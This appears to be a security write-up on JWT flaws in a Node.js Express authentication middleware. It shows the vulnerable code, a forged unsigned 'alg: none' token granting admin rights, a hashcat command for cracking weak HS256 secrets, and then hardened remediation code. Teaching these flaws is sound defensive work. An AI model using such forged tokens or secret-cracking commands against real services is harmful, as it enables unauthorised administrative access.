Vulnerability Analysis
JSON Web Tokens (JWT) are widely adopted in stateless microservices and modern web applications to transmit claims securely between parties. A standard JWT consists of three base64url-encoded parts separated by periods:
Header.Payload.Signature
During a white-box security assessment of a Node.js Express backend, we observed the authentication middleware parsing incoming Authorization: Bearer <token> headers using a permissive verification routine:
// Vulnerable middleware implementation
const jwt = require("jsonwebtoken");
function authenticateToken(req, res, next) {
const token = req.headers["authorization"]?.split(" ")[1];
if (!token) return res.sendStatus(401);
// Insecure: algorithms parameter is not strictly locked
jwt.verify(token, process.env.JWT_SECRET, (err, user) => {
if (err) return res.status(403).json({ error: "Invalid token" });
req.user = user;
next();
});
}
Exploitation Vectors
Vector 1: The "None" Algorithm Attack
In older or improperly configured JWT libraries, setting the algorithm field in the header to "alg": "none" instructs the server to treat the token as unsigned:
- Decoded Header:
{ "alg": "none", "typ": "JWT" } - Decoded Payload (escalating privileges to admin):
{ "userId": 104, "username": "guest", "role": "admin", "iat": 1718712000 } - Stripping the signature section entirely:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VySWQiOjEwNCwidXNlcm5hbWUiOiJndWVzdCIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTcxODcxMjAwMH0.
When submitted against endpoints checking req.user.role === 'admin', the server granted administrative API access.
Vector 2: Weak HMAC Secrets & Hashcat Brute-forcing
When the server enforces HMAC-SHA256 (HS256), but uses a low-entropy secret string, the signing key can be recovered offline without sending thousands of requests to the target:
# Hashcat brute force with rockyou.txt
hashcat -m 16500 jwt_token.txt /usr/share/wordlists/rockyou.txt
Once the secret key is cracked, an attacker can sign custom forged tokens with arbitrary administrative claims.
Hardened Remediation
- Explicitly Restrict Permitted Algorithms: Never allow client headers to dictate the signature algorithm.
- Enforce Strong Cryptographic Secrets: Use minimum 256-bit randomly generated keys stored securely in environment secret managers.
- Validate Expiration & Audience: Always verify
exp,aud, andissclaims.
// Hardened implementation
const jwt = require("jsonwebtoken");
function secureAuthenticate(req, res, next) {
const authHeader = req.headers["authorization"];
const token = authHeader && authHeader.split(" ")[1];
if (!token) return res.status(401).json({ error: "Access token required" });
jwt.verify(
token,
process.env.STRONG_JWT_SECRET,
{
algorithms: ["HS256"], // Strictly lock algorithms
clockTolerance: 10,
},
(err, decoded) => {
if (err) return res.status(403).json({ error: "Token signature verification failed" });
req.user = decoded;
next();
}
);
}